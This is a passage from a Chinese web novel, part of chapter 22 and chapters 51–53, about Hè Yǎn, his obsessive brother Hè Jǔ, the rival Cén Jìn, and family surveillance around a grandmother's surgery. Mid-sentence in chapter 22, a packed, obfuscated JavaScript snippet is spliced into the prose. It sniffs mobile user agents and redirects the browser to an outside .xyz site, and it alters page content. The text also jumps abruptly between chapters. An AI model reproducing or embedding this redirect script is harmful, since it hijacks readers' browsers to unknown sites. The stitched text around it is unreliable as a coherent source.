秾艳美丽的长相配上他现在的表情,带着诡谲的美感,“把监控销毁,还按照原计划。” 保镖听见对面的手机里传来对面笑声,打了个冷颤。 啊,还以为能给哥哥一个惊喜呢,没想到是哥哥给了一个这么大的惊喜啊。 贺琚挂断电话,捂着脸再次笑起来,激动得浑身颤抖,瞳孔都在震颤,如果能把猛兽驯服,让他自愿钻到笼子里,那该多有意思啊。 22. 第 22 章 贺琚指尖夹着一张卡,一张黑色的烫金卡片。如果安东在这里,肯定能看出这张卡片和他桌子上的那张一模一样。 圣赛尔公寓今天的确有学生按照流程申报了维修申请,维修工一般都会在学生回到宿舍之后进行修理。 图书馆的监控也拍到了贺衍的身影,六点进入图书馆,图书馆内部的监控虽然不多,但不论大小,所有出入口包括电梯和饮水房附近都有监控。 九点的时候,贺衍还在图书馆看书,他去饮水房接了一杯水。但圣赛尔公寓的监控却显示,维修工离开的时间是八点五十五。即便是速度再快,但五分钟的时间,也不可能从圣赛尔公寓到图书馆。 除非本来就有两个维修工。 即便是那些人怀疑,但没有证据,根本没办法定罪到贺衍身上。 贺琚他眸子微眯,回想贺衍晚上回来时的模样,和平常完全看不出区别。 贺琚脸上的笑意加倍,但哥哥肯定没有注意到,他弯腰的时候,脑后的碎发遮住的衣领露了出来,上面有一片黄绿色的细碎花瓣。 那是栾树的花瓣,图书馆附近和圣赛尔公寓附近都是没有的。 但好巧不巧的是,圣罗莱斯的森林里刚好种着栾树,而且这片森林不仅没有监控,也是从图书馆到圣赛尔最近的小路。 贺琚有些遗憾地垂下眸子,视线在卡片上流连了片刻,如果他早点让人去就好了,说不定刚好能截住哥哥。 那事情肯定会变得更有趣。可惜,他已经替哥哥收尾了,不过这样也好,这样他和哥哥就是共犯了。 贺琚的瞳孔扩大,哥哥是什么时候计划好的呢,难道下午在微讯上拒绝他的时候,就已经计划好这件事了嘛。 卡片在贺琚的指尖旋转着,他漫不经心地把卡片扔到了垃圾桶里,打开了卧室的房门。 这栋别墅有两层,二楼是房间。贺琚把贺衍的房间安排在了自己的对面。 贺琚站在走廊的中间,望着对面紧闭的房门,指尖轻颤,他下意识地屏住了呼吸,轻舔了下唇,手轻轻放在了门的把手上。 他的动作停在那里了几秒。 还是移开了手。 他走到一楼,倒了一杯红酒,又往里面扔了几个冰块。夜色深浓,已经是凌晨了。月亮悬在天上,高不可攀。贺琚没有打开灯,盈盈的月色落进室内,银白的月光仿佛绸缎一样,冷冽又让人无比迷恋。 他拿着酒杯走到窗前,冰块撞击,发出轻微的声响。他望着酒杯中月亮的倒影,无声笑起来。 圣洛莱索论坛,一个普普通通的帖子出现在论坛首页:[小道消息,又要有新来的转校生了] 迈尔斯打了个哈欠,正在刷论坛,他刚点进这条帖子,房门忽然被敲响了。 一脸菜色的安东出现在了门口,迈尔斯上下打量了他几眼,吊儿郎当的语气里满是调侃:“你怎么这么晚也不睡,脸还白得跟鬼一样?” 安东的脸更白了,他的声音颤抖,“看来你没有被警告,果然只有在游泳馆的人才被警告了。” 这件事不可能是贺衍,他不可能知道是他们做的。 而且销毁监控,仅凭贺衍是不可能做到的。能够做到这个份上的,不可能是贺琚,那只能是贺忠载的授命。他们哈里曼不过是淮新的一个小家族,如果真的被贺家针对了,方家不可能保得住他。 他不能再跟在方盛寒后面了。 安东的全身还在颤抖,身体的疼痛已经不算什么了,心脏处传来的锥心的恐惧让他甚至不敢大声呼吸,瞳孔涣散,看着没有一点精神。 “什么警告?你怎么回事。”迈尔斯一脸迷茫,他让安东进来说话,又刷起了手机,眼睛忽然睁大了,“我艹,安东,咱们学院又要来转学生了,而且还是——” 安东听到转学生这个词,忽然应激地跳起来,声音尖锐刺耳,“转学生就转学生,你声音这么大干什么!反正看在咱们还是朋友的份上,你以后不要再招惹贺衍了,贺家很看重他。” 安东啪一下地关上了门,离开了迈尔斯的宿舍。 迈尔斯的嘴还张着,他完全摸不着头脑,对着空气自言自语道:“可我说得转学生,是一个S级的学生啊。” [小道消息,又要有新来的转校生了] 发帖的楼主没有墨迹,直接在一楼就点名了转校生的身份:[这位来了之后,大概是圣洛莱索学院唯二的S ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457222|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级学生了。他的大名我们可能都听过,就是当初因为学习成绩太差还经常逃学,被送到军队的那位。] 迈尔斯把自己的红头发抓成了鸡窝,才终于想到楼主说的是谁。 卧槽,岑靳! 联邦现任将军的独子,当年圈子里真正说一不二的存在。 他还记得自己初二的时候,那时候岑靳好像也就高一,他领着一群人二半夜飙车。不知道发生了什么事,岑靳直接砸了一辆全联邦唯一一辆,价值两千万的超跑。 那天晚上,淮新三环以内的路甚至都没办法正常通行,直接闹上热搜,联邦新闻为了遮丑,解释说是因为政要大事。 民众虽然怨声载道,但他们完全不清楚内情,接受了这个说法后也就不了了之。 迈尔斯只知道这件事后,岑靳就被岑将军送进了军队,距离现在,已经过去五年。 现在的方盛寒和岑靳比,完全就是小巫见大巫。 迈尔斯嘶了一口凉气,真不知道这位煞神来了圣洛莱索后,这里会怎么样。他虽然很喜欢看热闹,但是岑参那个级别的人,他真是不敢招惹。 诺布莱斯别墅区。 别墅的二楼,卧室门前的把手上残存的温度早已消散在空气中。 房间内,落地飘窗前的窗帘将月色隔绝,只有床头的夜灯散发着微弱的光。 贺衍躺在床上,已然是熟睡的模样。 他的眉头微微蹙起,平缓的呼吸骤然紧促起来。 贺衍垂眸看着手腕上泛着金属光泽的银白手铐,被身前不耐烦的警察推搡着移送进入联邦监狱。 他踉跄了下,在要摔倒的瞬间,忽然被一个穿着黑色风衣的男人抱了满怀。视线转换,他已然躺倒在了床上,双手被铐在床头,无法挣脱。 昏暗的视线里,只看见有一双黑色的皮鞋慢慢靠近,那双大手慢慢地伸了过来—— 一缕光透过窗帘洒进室内,贺衍摇了摇昏沉的头,站起来拉开了窗帘,明媚的日光瞬间全部倾洒进室内。 贺衍眯着眼望着挂在天际的太阳,深呼了一口气,把不知所谓的噩梦抛到了脑后。 他不着急,这群残渣,他一个都不会放过。 50-60 第51章 第 51 章 “你来这里干什么?”…… 第51章 淮新多克医院。电梯在十六层打开了。 走廊内的脚步声由远及近, 在安静的空气中回响。 脚步声停下了。 坐在长椅上的人没有动,站在长椅前的人也没有说话。 贺衍没有任何抬头的欲|望,他盯着地板砖之间的缝隙, 思维逐渐混乱起来, 唇瓣抿成一条直线,眼神游离, 脑海中充斥着各种杂乱的念头。 原书里根本没有任何跟奶奶相关的描写,即便他逃脱不了必死的结局,奶奶也不会受到任何影响。 贺忠载一定清楚,要是想一直控制自己,就必须让奶奶活下去。所以这场手术, 不会有任何问题。 对, 就是这样没错。绝对不会有任何问题。 贺衍的双手紧紧交握, 指节泛白。耳边仿佛被一层厚重的膜包裹着,外界的声音变得模糊不清,唯独自己的心跳声清晰得可怕, 像是擂鼓般在胸腔里震荡,一声接着一声, 震得他头皮发麻。 喉咙干涩得发疼,贺衍下意识地吞咽, 却感觉连呼吸都变得困难。 不会有事的, 不会的……他在心里一遍遍默念, 可越是安慰自己, 恐惧却越是如潮水般涌来,几乎要将他淹没。 脑海中不断闪过杨梅霞的笑脸,可下一秒,那些画面却瞬间被撕裂, 取而代之的是无尽的黑暗。 贺衍的身体微微发抖,双腿不受控制地轻颤,仿佛连坐着的力气都要被抽干。 耳边的心跳声越来越响,贺衍低下头,双手捂住脸,才发觉指尖冰凉得可怕。 走廊的尽头,贺琚倚在窗边,修长的手指轻轻敲击着玻璃。 电话那头,贺忠载的声音低沉而沉稳,带着几分难得的温和:“昨晚你见过的那位俞氏风投的投资人,已经决定跟我们正式合作了。只是,我这段时间离不开淮新,你替我去姆扎州一趟吧。” 贺忠载说到这里,语气微微一顿,仿佛在斟酌接下来的话:“下个月就是你的生日了,早点回来。这次也算是你成年前最后一次的考验吧。” “嗯,我知道了。”贺琚的声音柔和,带着几分顺从,他微微眯起眼,眼底闪过一丝不易察觉的冷意。 贺忠载所谓的“成年礼物”是公司股份的转让——他很早之前就知道这件事了。这是父亲一直挂在嘴边的,几年前就在律师的公证下写入遗嘱的承诺。 他是什么时候知道自己不是父母的亲生孩子? 十一年前还是十二年前,有些记不清了。 “航班我已经给你定好了。”贺忠载轻笑了一声,“别在医院耽误太多时间了。” 窗外的阳光洒在他精致的侧脸上,勾勒出一道近乎完美的轮廓,可那双含笑的眼眸深处,却藏着几分讥诮与厌倦。 “您放心,我很快就会回去。”他轻声应着。 挂断电话后,贺琚的笑容依旧未褪,他的目光透过窗户,落在远处的贺氏集团的高楼上,眼底闪过一丝讥讽。 贺琚将手机放回口袋,目光落到了手术室前,大脑还没有思考,但是身体已经先一步动了。 岑靳怎么会出现在这里。到底有什么事自己忽略了,贺琚脑海中的警铃在不断作响。 嘴角处的结痂,和哥哥的刚好对上。上午偶然瞥见的那个棕黑发色的身影和眼前的岑靳完全重合。 贺琚瞳孔猛缩,嘴角微微下撇,黑泥般的黏稠的情绪在眸中翻滚:“你来这里干什么?” “安静一点,别吵到他。”岑靳的声音低沉而冷淡,他微微侧身,挡住了贺衍。他的动作自然而从容,仿佛在无声宣告。 贺琚的脸色瞬间变得难看,他嘴角扯了扯,无声轻呵了一声。 如果不是顾忌哥哥的情绪。 真是碍眼啊,贺琚看着岑靳,黑眸发暗,似笑非笑的神情带着森然的寒意。 耳边的杂音穿透屏障传入耳膜,眼前的光线被两道影子完全遮住了。 贺衍怔愣一瞬,抿着唇抬起了头,冷意浮上眉梢。但他已经调动不起多余的情绪,贺衍面无表情地扫了岑靳一眼,然后低下了头。 岑靳坐在了不远处的长椅上,目光始终没有离开贺衍。他的眉头微微皱着,眼神里带着明显的担忧,却又克制着不敢靠近。 岑靳的手指无意识地敲打着膝盖,眼神复杂而沉重。他比任何人都清楚贺衍现在是什么感受,所以他知道,现在一切的安慰都只是空话。 已经是下午五点多了,手术已经进行了将近五个小时。 傍晚的余晖透过玻璃窗洒进走廊,将洁白的墙壁染上一层淡淡的金橙色。 岑靳靠在墙上,整张脸藏在阴影之中,看不清他的表情。 贺衍站在手术室前,肩膀紧绷,他的目光死死盯着手术室上方那盏刺眼的红灯。 到底还要等多久。贺衍抿着唇,双拳紧握。 贺琚的手机又一次震动,他看也没看直接将手机关机。 突然,手术室的门缓缓打开,医生走了出来。 贺衍的身影忽然定住了,目光眨也不眨地盯着医生。岑靳几乎是瞬间站了起来,迅速走到贺衍身后。 “手术很成功,”医生的声音平稳而清晰,“骨髓移植的供体与受体匹配度很高,手术过程中没有出现排斥反应。病人目前的情况良好,不过接下来需要在特殊病房观察24小时,确保生理特征稳定。如果一切顺利,家属明天早上就可以探视。” 贺衍几乎无法抑制唇角的上扬,眼睛亮得惊人。手术成功了,而且手术很成功,他很快,很快就能见到奶奶了。 贺衍的喉咙动了动,声音略微沙哑:“谢谢医生。” 医生微微颔首,转身离开。 贺琚一把抱住了贺衍,双手紧紧环住他的腰,下巴抵在贺衍的肩上,极具感染力的声音中满是激动和喜悦:“太好了,哥哥,手术成功了。” 贺衍没有像之前那样推开他,只是拍了拍贺琚的肩膀,轻声说道:“贺琚,谢谢。” 贺琚身体微微颤抖,极力抑制着自己的兴奋,这是他第一次完完全全地将哥哥抱在怀中。他的手指无意识地收紧,指尖几乎要嵌入贺衍的皮肤。 贺琚的眼神暗沉,眼底翻涌着不加掩饰的独占欲。哥哥的腰,比自己想象的要更软。 他的嘴角微微勾起,笑容带着几分病态的执着。他的目光越过贺衍的肩膀,冷冷地瞥了一眼站在一旁的岑靳,眸中里满是挑衅与警告。 岑靳淡淡地瞥了他一眼,眼神平静得近乎冷漠,仿佛贺琚充满敌意的目光不过是无关紧要的风吹草动。 他早在一开始就察觉到了贺琚对贺衍的过分关注,但贺琚和贺衍有血缘关系,在他看来贺琚的那种敌意更像是一种幼稚的占有欲,毫无意义。 “贺衍,你比我幸运。”岑靳的声音低到几近呢喃,灰蓝色的眼睛仿若被一层薄雾。 喜悦冲淡了一切负面的情绪,贺衍听到他这句不明所以的话,只是冷着眼瞥了岑靳一眼。贺衍眯起眸子,拧紧了眉心:“你来这里有事?” 岑靳的眉骨在落日的余晖下投射出淡淡的阴影,平添了几分肆意。他递给贺衍一个很小的礼盒,低声说道:“防窃听的信号屏蔽器,我把它安到袖扣上了,算是生日礼物。” 贺衍眉梢微蹙,目光复杂地看向他,但并没有伸手。 岑靳眼尾上挑,他忽然笑了一下,握住贺衍的左手,把东西放到了他的手上。 “贺衍,你欠我的还没还完。”岑靳看着贺衍瞬间变冷的脸色,眯着眼睛又笑了一下:“我会亲自去讨的。” 岑靳摆了摆手,转身离开了。 贺琚刚才的愉悦瞬间荡然无存,心脏像是被扎了无数根刺。他们两个之间到底发生了什么,贺琚右眼皮忽然跳了半秒,还没来得及缓解心脏的刺痛,贺叁便出现在了十六层。 贺叁对着贺衍点了点头,随后对着贺琚说道:“少爷,您的电话打不通。老爷让我来带您回去,航班马上就要起飞了。” 贺衍对着贺琚摆了摆手:“看来你还挺忙,我自己在这里就行,你先走吧。” 贺琚眸色微微一暗,但还是笑着和贺衍告别。 夜幕低垂,医院的走廊渐渐安静下来,只剩下零星几个值班护士的脚步声。 VIP病房中一片静谧,贺衍缓缓睁开眼睛,视线有些模糊。 窗外的夜色已经深沉,只有远处城市的灯光透过玻璃洒进来,映在他的脸上。 他抬手揉了揉太阳穴,下意识舔了的嘴唇。 从中午到现在,他什么也没吃什么也没喝,喉咙现在干涩得像是被砂纸磨过。 胃里空荡荡的,隐隐传来一阵阵绞痛,但贺衍却感觉不到什么饥饿感。 明明身体的每一个细胞都在叫嚣着需要水和食物,可他的大脑却异常的清醒。 忽然,贺衍像是想起了什么,猛地坐起身,伸手去摸床边的手机。 屏幕亮起的瞬间,刺眼的光让贺衍微微眯起眼。现在已经是晚上九点半了吗,看来真是太累了,他刚才应该是刚躺下去就睡着了。 手机已经静音了大半天,电量只剩下不到百分之十。 他划开屏幕,映入眼帘的是裴屷的消息。 贺衍迅速点开详情信息,短信是五个小时前发来的,后面还跟着几条未接来电的记录。 [贺衍,父亲没有发现不对,他本来打算见你一面,不过我替你拒绝了。具体的情况我们电话里聊。] 贺衍回拨了过去。 他奇怪地蹙了下眉,没人接,裴屷现在已经睡了吗?就在贺衍以为电话要自动挂断的时候,电话忽然接通了,但说话的声音并不是裴屷。 “您好,是贺衍少爷吗?”这是一个陌生的老人的声音,“少主现在正在祠堂跪着,没办法和您通话。如果您有什么事想要告诉少主,可以托我转达。” 第52章 第 52 章 你也不想被奶奶知道吧…… 第52章 第二天, 雨水打在走廊的窗户上,雨声淅淅沥沥。湿漉漉的空气夹杂着丝丝的寒意,雨水滴落到脸上, 贺衍起身关上了身后的窗户。 现在已经是早上七点了, 因为下雨,天际还是一片昏黑。 ICU病房, 不间断的连续监测已经持续了十几个小时。医生看了眼时间,准备换班去吃个早饭。他走出病房,医生把身上隔离服换掉,又看到了门外的青年,这已经是他第三次看到他了。 他的值班时间是昨晚十点到早上六点半。 昨晚刚来值班的时候, 他就看到这个青年坐在外面的椅子上。青年的外形太过于亮眼, 即便穿着很朴素的衣服, 但第一眼就能让人看见他。 要不是周围没有摄像机,医生还以为这是哪个明星在拍电视剧。 凌晨三点多他出来了一次,那时候外面已经没多少人了, 但那个青年还在,他靠在椅子上似乎睡着了。医生走过去的时候, 那个青年醒了。他们俩说了几句,才知道昨天青年是昨天送进ICU的那位老人的孙子。 外面的天逐渐泛白, 雨水打到玻璃上, 发出细微的声响, 随后顺着玻璃滑落。 医生眼神柔和地看着他:“你奶奶现在的生理状况很稳定, 身体恢复得很好。你不用一直待在这里,去睡一觉吧。大概中午的时候,病人就能回到普通病房了。” 贺衍抿着唇笑了下:“没事,我昨天下午睡过了, 现在不怎么困。” 昨晚接自己电话的那个年迈的声音,似乎是裴家的下人。贺衍没有让他转述,而是问裴屷为什么会在祠堂跪着,但对面的人并没有回答。 挂断电话之后,他也没了睡意。索性随便找了点吃的,到了ICU监护病房这里。 段成志脚步匆匆地走过来,医生看到他,对着他礼貌地打了声招呼。段成志冷漠地点了点头,目不斜视地跟医生擦肩而过。 医生刚走到电梯那里,忽然听到身后的段成志温和又恭维的声音,他诧异地扭头。 “老太太真是吉人自有天相啊。贺少爷……”段成志一脸笑意,跟刚才冷漠的样子判若两人,完全不见平日里那副威严模样。 医生震惊地眨了眨眼,忽然意识到那个在外面守了一夜的青年,就是同事口里的那个贺家少爷。 贺衍看了眼时间,中止了和段成志没什么意义的对话:“我还有事,段院长自便。” 段成志眯着眼盯着贺衍离开的背影,眼底精光闪过,他收敛了笑意,但并没有生气,反而更加确定了要讨好贺衍的想法。 他看人的眼光一向很准。一个从小地方刚找回来的私生子,如果不是贺家给他的底气,是不敢这么硬气地跟自己说话的。 圣洛莱索学院。 保安看到车牌号,很快打开了大门,车辆行驶到主干道上,此时距离德伦丘斯还有将近一公里的距离。 “停车,我自己走过去。”裴屷看了眼震动的手机,他打着伞,从车上走下来。 蒙蒙雨色中,裴屷接通了电话:“是我。” 七点半了,今天是周一,如果现在在圣洛莱索,他这时候应该已经醒了。但昨晚裴屷还在祠堂,贺衍尝试着拨通了裴屷的电话,但对面很快就接通了。 “昨天……”贺衍把昨天发生的事情简要说了一下,隐去了不必要和岑靳发生的事,“昨晚我给你打电话,但你的手机被其他人接通了。我们之间的聊天记录,会不会被他看到。” “不用担心,所有的记录我都删除了。而且,那个人接电话的时候,我在看着他,他没有做什么多余的动作。” 贺衍疑惑地眨了眨眼,他明显停顿了一会儿,才问道:“但他不是说你在祠堂跪着?” 裴屷声音平静地说道:“嗯,我是在祠堂。但手机没有离开我的视线,那个人不过是在一旁监督而已。” 监督,为什么要监督。脑海中的疑惑一闪而过,但贺衍的思绪很快就落到了裴屷接下来的话上。 “昨天来的不只是贺家的管家,还有贺忠载本人。贺家已经提出订婚了,父亲没有反对。贺家的意思是这个月内就让我们订婚。” 贺衍瞳孔猛缩,呼吸停滞:“这也太快了吧。” 贺衍听到对面轻笑了一声,但声音被雨水包裹着,似乎又是他的错觉。 “是很快,太快了,所以我没有同意。”裴屷的语气依旧平淡:“贺忠载昨天一直在试探我对你的态度,不过经过昨天之后,他应该已经清楚了我很讨厌你。” 贺衍心脏抽疼了一瞬,他放缓呼吸,就听见裴屷继续说道:“他们还会再商议一段时间,但是留给你的时间不多了。” 这场雨下了一天,晚上的时候,雨才停。 杨梅霞是在晚上醒过来的,那时候她已经转回之前住的病房了。不过她还是有些昏昏沉沉,醒来和贺衍说了几句话之后,又睡过去了。 贺衍拉上了窗帘,病房的门被敲响了。贺叁身后跟着几个佣人,手里提着东西,放到了病房的隔屋。 病房门外,贺叁脸上挂着恰到好处的笑容:“夫人知道你这几天不回家睡在这里,就吩咐我给你送一些东西,还有一些是给老太太的补品。” 贺衍眼神微动:“替我谢谢她。” 贺叁离开了。 贺衍看着大包小包的一堆东西,眉头微微蹙了起来。 在他还小的时候,也羡慕过别的小孩都有母亲。但随着年龄的长大,这份孺慕和渴望已然消无声息地消散。在他想起来这是一本小说之后,在他想起来上辈子的事情之后,更不会相信亲情血浓于水无法割断。 如果不是因为他真的将裴屷邀请到了生日宴会上,让何眷蓉知道他的确有可能会和裴屷订婚甚至结婚,估计她还会像之前一样不管不问。 贺衍摇了摇头,无声失笑,眼里倒没有多少伤心。 贺衍一直在医院陪着杨梅霞,杨梅霞每天清醒的时间越来越多,精神也越来越好。 一个阳光明媚的午后。 贺衍趁着她状况不错,看似不经意地问道:“奶奶,前几天,你和贺琚到底说了什么啊?” 贺衍看似全神贯注地在低头削着苹果,但半天了苹果依旧毫发无损。 杨梅霞抿着唇笑了一下,眼角的皱纹里都带上了笑意:“这是我和小琚那孩子的秘密,不能告诉你。” 贺衍把苹果放到一边,有些泄气地看着她,一肚子的话堆在嘴边,最后只是说道:“贺琚他可不是什么好孩子。” 阳光落在贺衍的身上,他的发尾眉梢都染上了一层金黄的暖光。 杨梅霞慈爱的眼神看着贺衍:“嗯,我的小衍当然是这个世界上最好的孩子。不过,就算小琚不是个好孩子,他对你也很好。下一次你可得接小琚的电话,这孩子刚才还在电话里跟我抱怨,说你不接他的电话。” 贺衍眼睛睁大,嘴巴也微微张开,要不是顾忌着这里有窃听器,他真想告诉奶奶贺琚的真面目。 “小衍,你一直在这里陪着我没事吗?现在正是高三最要紧的阶段,奶奶感觉自己的身体状况也挺不错的,你也别在我这里待着了,快回学校吧。” 贺衍走到隔壁,拿出一本试卷递给了杨梅霞。他挑了下眉,颇有些骄傲地说道:“放心吧,您孙子不管在哪里,都不会把成绩落下去的。” 杨梅霞劝不动他,她摇着头轻叹了口气,眉梢染上一抹忧色,但很快就被她给掩盖过去了。 贺衍看她有些乏了,就没再继续打扰她。 贺衍把卷子放到隔壁屋的桌子上,眼中的情绪消失了,他抿着唇,看着市中心最高的那栋建筑,眸色暗了下来。 贺忠载看似是让自己在医院陪着奶奶,但实则是监视,如果没有贺忠载同意,他不可能正常离开医院。前几天他试着出去了一趟,只是去外面的距离这里最近的书店买了几本书,就发现不止一个人在后面跟着自己。 贺家的手的确很长,但好在他们还伸不到姆扎州。 贺衍收敛了神色,离开了病房。 淮新多克医院,一楼。 一个穿着棕黄色跑腿制服戴着头盔的小哥急匆匆地从大门离开,样子看着很着急,似乎在赶下一个单子。 这是今天第几个跑腿来着,数不清了。守在大门口的一个络腮胡掀了下眼皮,无聊地打了个哈欠。 又过了一周。 贺衍推开病房,他本来以为奶奶还在睡觉,但是进去的时候,发现里面居然多出了一个人。 那人背对着病房大门,听到门被推开的声音和细微的脚步声,他的耳朵微不可察地动了一下,嘴角的弧度变大,那双深邃又深情的眼眸满是笑意。 他似乎没有注意到贺衍回来,还在和杨梅霞说着什么。 “小衍,你回来了。”杨梅霞不知道贺衍在想些什么,对着贺衍招了招手:“刚才我拄着拐杖去走廊里走了一圈,回来的时候有些腿软,要不是这个年轻人扶了我一把,我可能就摔倒了。” 贺衍的额前的碎发遮住了眼睛,只能看到他的唇瓣被用力地抿紧了。 杨梅霞又转过头跟那个年轻人说道:“哎呀,我这老糊涂,跟你说了这么多话,还没问呢,孩子,你这么懂手术后恢复的注意事项,是不是这里的医生啊。小衍,我给你介绍一下——” 贺衍抬起头,声音温和地打断了她:“奶奶,我知道他是谁。他不是这里的医生,应该是过来找我的,我们出去聊一会儿。” 杨梅霞没发现什么不对:“怪不得我看这孩子这么亲切,原来是小衍认识的人啊”。 “奶奶,我是贺衍的好朋友。”低沉的声音像是大提琴的低鸣,岑靳站起来转过身,对着贺衍笑了下,灰蓝色的眸子似乎被点燃一般,眸中的炽热不加掩饰,直勾勾地看向贺衍。 岑靳挑眉,几步便走到贺衍身边,他转身对着杨梅霞灿烂地笑了笑:“我们就去隔壁说一会儿话,您要是有什么事喊我一声就行,我马上就出来了。” 杨梅霞被岑靳的笑容感染,也笑着点了点头:“我也有点困了,你们年轻人多聊一会儿。” 杨梅霞打了个哈欠,闭上了眼睛。 贺衍身体紧绷,眉宇间布满寒霜,他握紧拳头,克制着想要打人的冲动。不能再奶奶面前—— 贺衍眼神示意岑靳跟自己出去,但岑靳却笑了一下,走进了病房的隔间。 贺衍抿着唇,冷冷地看着他,也走了进去。 隔间的门被关上了。 岑靳唇角勾起,眼尾上扬:“你可以正常说话,窃听器现在不起作用了。不过,我建议你还是小声一点,毕竟你也不想被老太太听见吧。” “你应该清楚,我一点也不欢迎你。” 岑靳看着一脸正常,他环视了一下房间,干脆坐到了沙发上,他抬眸看着贺衍,带着几分漫不经心的压迫感:“贺衍,你知道外面都在说什么吗?” 贺衍扯了扯嘴角,浑身上下的肌肉都写满了戒备,他的声音冷得像冰:“没工夫听你废话。” 岑靳灰蓝色的眼眸忽然变暗,乌云密布,他站了起来:“外面都在说你要和裴屷订婚。贺衍,你难道不清楚贺家不过是在利用你。” “那些窃听器和定位器难道还不能让你清醒吗,这医院是贺家的地盘,贺忠载根本没把你当儿子看,你真的以为和裴屷结婚就能安枕无忧了?你猜在你和裴屷结婚之后,贺忠载会不会还像现在这样,继续用你奶奶威胁你。” 这些事他早就清楚,所以他很快就会把奶奶送出首都。贺衍看着岑靳,忽然平静地问道:“那你又能做什么?岑靳。” “只要你愿意,我会帮你奶奶转院。不会再让贺家的人欺负你。” 贺衍扯了下嘴角,眼睛直视岑靳:“如果我同意了。你之后就会像贺忠载一样,继续威胁我。” 岑靳眨了眨眼,忽然笑着说:“你怎么会这么想。” 他的目光肆无忌惮地直直落在贺衍身上,眼神深邃而炽热。 “别用那种眼神看我,恶心。”贺衍说完,转身就要离开。 “你确定现在就要出去吗?”岑靳的手放在了门上,他对着贺衍勾了勾唇角:“不如我去问问奶奶,看她愿不愿意自己的孙子——” 贺衍的拳头猛然挥出,岑靳眼神一凝,右手干脆利落地扣住贺衍的手腕,顺势反扭的一下。 两人的距离瞬间拉近,呼吸几乎相触。 贺衍冷啧了一声,他瞬间抬起右腿,一记凌厉的侧踢直逼岑靳的腰腹。 岑靳松开贺衍的手腕,迅速后撤半步,但下一秒,贺衍的右肘已紧随而至,狠狠砸向他的肩颈。 岑靳侧身闪避,贺衍也借势后退,拉开了和他的距离。贺衍眸光冷冽,声音带着寒意:“岑靳,你到底想干什么?” 岑靳眸子微眯,灰蓝色的眸底翻滚着黏稠的地情|欲,眸色暗到发黑:“我来讨债。” 贺衍的眼中怒火迸发,猛然抬腿,狠厉地直冲岑靳的胸口,速度快得甚至带起一阵风。 岑靳硬生生接下这一脚,贺衍毫不留情,紧接着一记勾拳挥向岑靳的下颌,膝盖狠狠顶向岑靳的腹部。岑靳发出一声闷哼,力道震得他后退半步,但他忽然笑出声:“你的力气比上次大了。” 他之前从来没想过自己会喜欢男人,更没想过会喜欢这种和自己一样硬邦邦的全是肌肉的男人。 但是贺衍不一样,岑靳浑身兴奋到战栗,他的瞳孔震动,忽然猛地俯冲,顺势抓住贺衍的手腕,借力一拉,将他摔到一旁的沙发上。 岑靳等着贺衍站起来,对着他勾了勾手。 贺衍全身肌肉紧绷如弓,他看了一眼岑靳,故意露出一点破绽,他再次挥拳,岑靳果然毫不犹豫地向他的破绽出打了过来。 贺衍趁机按住岑靳的肩膀,借力将他向前一带,在他重心不稳的时候,右腿用力一绊。岑靳瞬间失去了平衡。 贺衍的双臂锁住岑靳的脖颈和手臂,将他牢牢压制在地。 要是直接挣脱,会废了贺衍的手,岑靳索性卸了力,任由贺衍压着自己,呼吸洒在贺衍的脖颈间,低沉的声音带着一丝戏谑:“小衍,你不喜欢我这么叫你吗。” 贺衍忽然感觉一丝不妙,眼皮忽然跳了一下,腿部被什么东西抵着,炽热又坚|挺。他的表情瞬间变得僵硬,立刻松开了岑靳,顺便狠狠地又揍了他一拳。 “滚!!!”贺衍目眦欲裂,恶狠狠地盯着岑靳:“现在就给我滚出去。” 岑靳坐到沙发上,腿间鼓起一块。他低头看了一眼,有些苦恼地蹙了下眉,抬眸望着贺衍,眉梢里满是欲意:“你确定让我现在就这么出去?” 贺衍冷笑了一声,“别让我再看见你。” 贺衍开门的瞬间,身后一道声音响起。 “贺衍,我要离开淮新了。刚才我的确没有骗你,如果你需要,我会帮你离开这里。” 贺衍没说话,留给岑靳的只有那扇被关上的门。 几天后,贺衍忽然被一通电话叫了回去。 书房内,贺忠载漫不经心地看了眼贺衍:“坐下吧。” “您找我什么事。”贺衍抿着唇,拘谨地坐了下去。 贺忠载语气平静:“最近你和裴屷有过联系吗?” 贺衍垂着头,瞳孔猛缩,贺忠载难道是知道了什么。他小心翼翼地抬眼,然后摇了摇头:“我们,我们没有联系过。” 贺忠载抬眼,饶有深意地吐出两个字:“是吗?” 四周空气却骤然凝固,压迫感无声蔓延。 第53章 第 53 章 婚外情? 第53章 贺忠载的手指轻轻敲击桌面。 贺衍大脑飞速运转, 从生日宴之后发生的所有的事情快速地在大脑中过了一遍。 他下意识屏住了呼吸,瞳孔忽然震颤了一下,最近这段时间他用的都是那个不记名的手机号码。但现在裴贺两家在商量订婚, 一对即将订婚的年轻人, 有联系实在是再正常不过了。 更何况裴屷之前还破天荒地参加了自己的生日宴,在所有人看来, 裴屷和自己的关系不可能差。 贺忠载怀疑不是自己为什么和裴屷联系,他怀疑是为什么不和裴屷联系。 贺衍喉结轻微滚动,他的目光游移,不敢直视对方,一脸犹豫, 他的唇瓣张了张, 最终还是什么声音都没有发出来。 贺忠载冷下脸:“想说什么直接说, 别吞吞吐吐的。” 贺衍深吸了一口气,不知道是因为羞愧还是愤恨,他握紧了拳头, 眉梢低垂:“其实,我和裴屷联系过一次。但那是两周前的事情了, 就是在那天之后的第二天。他醒来之后很愤怒,我那时候试图向他解释, 但他没有听, 后面我就发现自己被他拉黑了。” 贺衍抿着唇, 情绪看起来有些失落:“他拉黑我后, 我也试着联系过他,但所有的方式都没有用。我前几天还试着用别人的手机给他打电话,但他听出是我的声音之后,就立刻挂断了。” “腿长在你的身上, 你难道不会去找他吗。”贺忠载额间的褶皱微微浮现,他的脸上露出不满:“贺衍,你在医院待的时间也够长了。” 贺忠载轻叩桌面,清脆的响声回荡在安静的书房内,言外之意很是明显。 